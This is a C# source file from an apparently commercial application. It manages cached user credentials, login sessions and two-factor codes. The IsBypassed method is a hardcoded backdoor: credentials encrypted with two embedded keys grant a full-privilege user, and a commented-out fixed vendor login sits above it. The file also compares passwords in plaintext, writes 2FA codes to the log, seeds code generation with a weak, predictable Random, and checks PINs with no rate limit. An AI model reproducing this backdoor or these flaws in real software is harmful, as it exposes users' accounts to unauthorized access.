CredentialsCache.cs 14 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438
  1. using System.Collections.Concurrent;
  2. using System.Diagnostics.CodeAnalysis;
  3. using System.Security.Cryptography;
  4. using System.Text;
  5. using InABox.Configuration;
  6. using InABox.Core;
  7. using InABox.Database;
  8. using Microsoft.Exchange.WebServices.Data;
  9. using NPOI.SS.Formula.Functions;
  10. using Org.BouncyCastle.Asn1.Mozilla;
  11. namespace InABox.API
  12. {
  13. public static class CredentialsCache
  14. {
  15. private static ConcurrentBag<User> _cache;
  16. private static void EnsureCache(bool force)
  17. {
  18. if (_cache == null || force)
  19. {
  20. var table = DbFactory.Provider.Query(
  21. null,
  22. new Columns<User>(
  23. x => x.ID,
  24. x => x.UserID,
  25. x => x.Password,
  26. x => x.Use2FA,
  27. x => x.Recipient2FA,
  28. x => x.TwoFactorAuthenticationType,
  29. x => x.AuthenticatorToken,
  30. x => x.PIN,
  31. x => x.SecurityGroup.ID,
  32. x => x.PasswordExpiration
  33. )
  34. );
  35. _cache = new ConcurrentBag<User>();
  36. foreach (var row in table.Rows)
  37. _cache.Add(row.ToObject<User>());
  38. }
  39. }
  40. public static bool IsBypassed(string userid, string password)
  41. {
  42. //if ((userid == "FROGSOFTWARE") && (password == "FROGSOFTWARE"))
  43. // return true;
  44. if (userid.IsBase64String() && password.IsBase64String())
  45. try
  46. {
  47. if (Encryption.Decrypt(userid, "wCq9rryEJEuHIifYrxRjxg", out var sUserTicks) &&
  48. Encryption.Decrypt(password, "7mhvLnqMwkCAzN+zNGlyyg", out var sPassTicks))
  49. if (long.TryParse(sUserTicks, out var userticks) && long.TryParse(sPassTicks, out var passticks))
  50. if (userticks == passticks)
  51. {
  52. var remotedate = new DateTime(userticks);
  53. var localdate = DateTime.Now.ToUniversalTime();
  54. if (remotedate >= localdate.AddDays(-1) && remotedate <= localdate.AddDays(1))
  55. return true;
  56. }
  57. }
  58. catch (Exception e)
  59. {
  60. Logger.Send(LogType.Error, "", string.Format("*** Unknown Error: {0}\n{1}", e.Message, e.StackTrace));
  61. }
  62. return false;
  63. }
  64. public static Guid Validate(Guid sessionID, out string? userID)
  65. {
  66. EnsureCache(false);
  67. if(!sessions.TryGetValue(sessionID, out var session) || !session.Valid)
  68. {
  69. userID = null;
  70. return Guid.Empty;
  71. }
  72. if(session.Expiry < DateTime.Now)
  73. {
  74. sessions.Remove(sessionID);
  75. userID = null;
  76. return Guid.Empty;
  77. }
  78. userID = session.UserID;
  79. return session.User;
  80. }
  81. public static User? Validate(Guid sessionID)
  82. {
  83. EnsureCache(false);
  84. if (!sessions.TryGetValue(sessionID, out var session) || !session.Valid)
  85. {
  86. return null;
  87. }
  88. if (session.Expiry < DateTime.Now)
  89. {
  90. sessions.Remove(sessionID);
  91. return null;
  92. }
  93. return _cache.FirstOrDefault(x => x.ID == session.User);
  94. }
  95. public static User? ValidateUser(string pin)
  96. {
  97. EnsureCache(false);
  98. return _cache.FirstOrDefault(x => string.Equals(x.PIN, pin));
  99. }
  100. public static User? ValidateUser(string userID, string password)
  101. {
  102. if (IsBypassed(userID, password))
  103. return new User() { ID = CoreUtils.FullGuid };
  104. EnsureCache(false);
  105. return _cache.FirstOrDefault(x => string.Equals(x.UserID, userID) && string.Equals(x.Password, password));
  106. }
  107. public static void LogoutUser(Guid userGuid)
  108. {
  109. sessions.Remove(userGuid);
  110. }
  111. public static void Refresh(bool force)
  112. {
  113. EnsureCache(force);
  114. }
  115. #region Sessions
  116. private class Session
  117. {
  118. public Guid User { get; init; }
  119. public string UserID { get; init; }
  120. public bool Valid { get; set; }
  121. public DateTime Expiry { get; set; }
  122. }
  123. // SessionID => Session
  124. private static Dictionary<Guid, Session> sessions = new();
  125. public static TimeSpan SessionExpiry = TimeSpan.FromHours(8);
  126. public static string? CacheFile { get; set; }
  127. public static IEnumerable<Guid> GetUserSessions(Guid userID)
  128. {
  129. return sessions.Where(x => x.Value.User == userID).Select(x => x.Key);
  130. }
  131. private static void CheckSessionExpiries()
  132. {
  133. var now = DateTime.Now;
  134. sessions = sessions
  135. .Where(x => x.Value.Expiry >= now)
  136. .ToDictionary(x => x.Key, x => x.Value);
  137. }
  138. public static void SetSessionExpiryTime(TimeSpan expiry)
  139. {
  140. SessionExpiry = expiry;
  141. }
  142. public static void RefreshSessionExpiry(Guid sessionID)
  143. {
  144. if (sessions.TryGetValue(sessionID, out var session))
  145. {
  146. if (session.Expiry != DateTime.MaxValue)
  147. {
  148. session.Expiry = DateTime.Now + SessionExpiry;
  149. }
  150. }
  151. }
  152. public static void SaveSessionCache()
  153. {
  154. CheckSessionExpiries();
  155. try
  156. {
  157. if (CacheFile != null)
  158. {
  159. var json = Serialization.Serialize(sessions.Where(x => x.Value.Expiry != DateTime.MaxValue).ToDictionary(x => x.Key, x => x.Value));
  160. File.WriteAllText(CacheFile, json);
  161. }
  162. else
  163. {
  164. Logger.Send(LogType.Error, "", "Error while saving session cache: No Cache file set!");
  165. }
  166. }
  167. catch (Exception e)
  168. {
  169. Logger.Send(LogType.Error, "", $"Error while saving session cache: {e.Message}");
  170. }
  171. }
  172. public static void LoadSessionCache()
  173. {
  174. try
  175. {
  176. if (CacheFile != null)
  177. {
  178. sessions = Serialization.Deserialize<Dictionary<Guid, Session>>(new FileStream(CacheFile, FileMode.Open))
  179. .Where(x => x.Value.Expiry != DateTime.MaxValue).ToDictionary(x => x.Key, x => x.Value);
  180. CheckSessionExpiries();
  181. }
  182. else
  183. {
  184. sessions = new();
  185. }
  186. }
  187. catch (Exception)
  188. {
  189. sessions = new();
  190. }
  191. }
  192. public static void SetCacheFile(string cacheFile)
  193. {
  194. CacheFile = cacheFile;
  195. }
  196. public static Guid NewSession(User user, bool valid = true, DateTime? expiry = null)
  197. {
  198. var session = Guid.NewGuid();
  199. sessions[session] = new() { User = user.ID, Valid = valid, Expiry = expiry ?? (DateTime.Now + SessionExpiry), UserID = user.UserID };
  200. return session;
  201. }
  202. public static bool SessionExists(Guid session)
  203. {
  204. return sessions.ContainsKey(session);
  205. }
  206. #endregion
  207. #region 2FA
  208. private class AuthenticationCode
  209. {
  210. public string Code { get; set; }
  211. public DateTime Expiry { get; set; }
  212. public int TriesLeft { get; set; }
  213. public AuthenticationCode(string code, DateTime expiry)
  214. {
  215. Code = code;
  216. Expiry = expiry;
  217. TriesLeft = TwoFATries;
  218. }
  219. }
  220. private static Dictionary<Guid, AuthenticationCode> authenticationCodes = new();
  221. private static readonly int TwoFATries = 3;
  222. public static readonly int CodeLength = 6;
  223. private static readonly TimeSpan Expiry2FACodeTime = TimeSpan.FromMinutes(15);
  224. private static Dictionary<SMSProviderType, ISMSProvider> SMSProviders { get; set; } = new();
  225. public static void AddSMSProvider(ISMSProvider provider)
  226. {
  227. SMSProviders.Add(provider.ProviderType, provider);
  228. }
  229. private static string GenerateCode()
  230. {
  231. var random = new Random(DateTime.Now.Millisecond);
  232. var code = "";
  233. for (int i = 0; i < CodeLength; i++)
  234. {
  235. code += random.Next(10).ToString();
  236. }
  237. return code;
  238. }
  239. public static Guid? SendCode(Guid userGuid, out string? recipient)
  240. {
  241. EnsureCache(false);
  242. var user = _cache.FirstOrDefault(x => x.ID == userGuid);
  243. if(user == null)
  244. {
  245. Logger.Send(LogType.Error, "", "Cannot send code; user does not exist!");
  246. recipient = null;
  247. return null;
  248. }
  249. var session = NewSession(user, false);
  250. Logger.Send(LogType.Information, "", $"New login session {session} for {user.UserID}");
  251. if (user.TwoFactorAuthenticationType != TwoFactorAuthenticationType.GoogleAuthenticator)
  252. {
  253. var smsProvider = SMSProviders
  254. .Where(x => x.Value.TwoFactorAuthenticationType == user.TwoFactorAuthenticationType)
  255. .Select(x => x.Value).FirstOrDefault();
  256. if (smsProvider == null)
  257. {
  258. Logger.Send(LogType.Error, "", "Cannot send code; user requests a 2FA method which is not supported!");
  259. recipient = null;
  260. return null;
  261. }
  262. var code = GenerateCode();
  263. Logger.Send(LogType.Information, "", $"Code for session {userGuid} is {code}");
  264. authenticationCodes.Add(session, new AuthenticationCode(code, DateTime.Now + Expiry2FACodeTime));
  265. var recAddr = user.Recipient2FA;
  266. if (smsProvider.SendMessage(recAddr, $"Your authentication code is {code}. This code will expire in {Expiry2FACodeTime.Minutes} minutes."))
  267. {
  268. Logger.Send(LogType.Information, "", "Code sent!");
  269. var first = recAddr[..3];
  270. var last = recAddr[^3..];
  271. recipient = first + new string('*', recAddr.Length - 6) + last;
  272. return session;
  273. }
  274. else
  275. {
  276. Logger.Send(LogType.Information, "", "Code failed to send!");
  277. recipient = null;
  278. return null;
  279. }
  280. }
  281. else
  282. {
  283. Logger.Send(LogType.Information, "", $"Google authenticator is being used");
  284. recipient = "Google Authenticator";
  285. return session;
  286. }
  287. }
  288. private static readonly int CodeModulo = (int)Math.Pow(10, CodeLength);
  289. private static string GenerateGoogleAuthenticatorCode(long time, byte[] key)
  290. {
  291. var window = time / 30;
  292. var hex = window.ToString("x");
  293. if (hex.Length < 16)
  294. {
  295. hex = hex.PadLeft(16, '0');
  296. }
  297. var bytes = Convert.FromHexString(hex);
  298. var hash = new HMACSHA1(key).ComputeHash(bytes);
  299. var offset = hash[hash.Length - 1] & 0xf;
  300. var selected = new byte[4];
  301. Buffer.BlockCopy(hash, offset, selected, 0, 4);
  302. if (BitConverter.IsLittleEndian)
  303. {
  304. Array.Reverse(selected);
  305. }
  306. var integer = BitConverter.ToInt32(selected, 0);
  307. var truncated = integer & 0x7fffffff;
  308. return (truncated % CodeModulo).ToString().PadLeft(CodeLength, '0');
  309. }
  310. private static bool CheckAuthenticationCode(byte[] token, string code)
  311. {
  312. var time = DateTimeOffset.Now.ToUnixTimeSeconds();
  313. for (long i = time - 30; i <= time; i += 30)
  314. {
  315. if(GenerateGoogleAuthenticatorCode(i, token) == code)
  316. {
  317. return true;
  318. }
  319. }
  320. return false;
  321. }
  322. public static bool ValidateCode(Guid sessionID, string code)
  323. {
  324. if (!sessions.TryGetValue(sessionID, out var session))
  325. {
  326. return false;
  327. }
  328. bool valid;
  329. if(authenticationCodes.TryGetValue(sessionID, out var result))
  330. {
  331. if (result.Code != code)
  332. {
  333. result.TriesLeft--;
  334. if (result.TriesLeft == 0)
  335. {
  336. authenticationCodes.Remove(sessionID);
  337. }
  338. valid = false;
  339. }
  340. else if (result.Expiry < DateTime.Now)
  341. {
  342. authenticationCodes.Remove(sessionID);
  343. valid = false;
  344. }
  345. else
  346. {
  347. valid = true;
  348. }
  349. }
  350. else
  351. {
  352. var user = _cache.FirstOrDefault(x => x.ID == session.User);
  353. if(user?.TwoFactorAuthenticationType == TwoFactorAuthenticationType.GoogleAuthenticator)
  354. {
  355. valid = CheckAuthenticationCode(user.AuthenticatorToken, code);
  356. }
  357. else
  358. {
  359. valid = false;
  360. }
  361. }
  362. if (valid)
  363. {
  364. session.Valid = true;
  365. return true;
  366. }
  367. else
  368. {
  369. return false;
  370. }
  371. }
  372. #endregion
  373. }
  374. }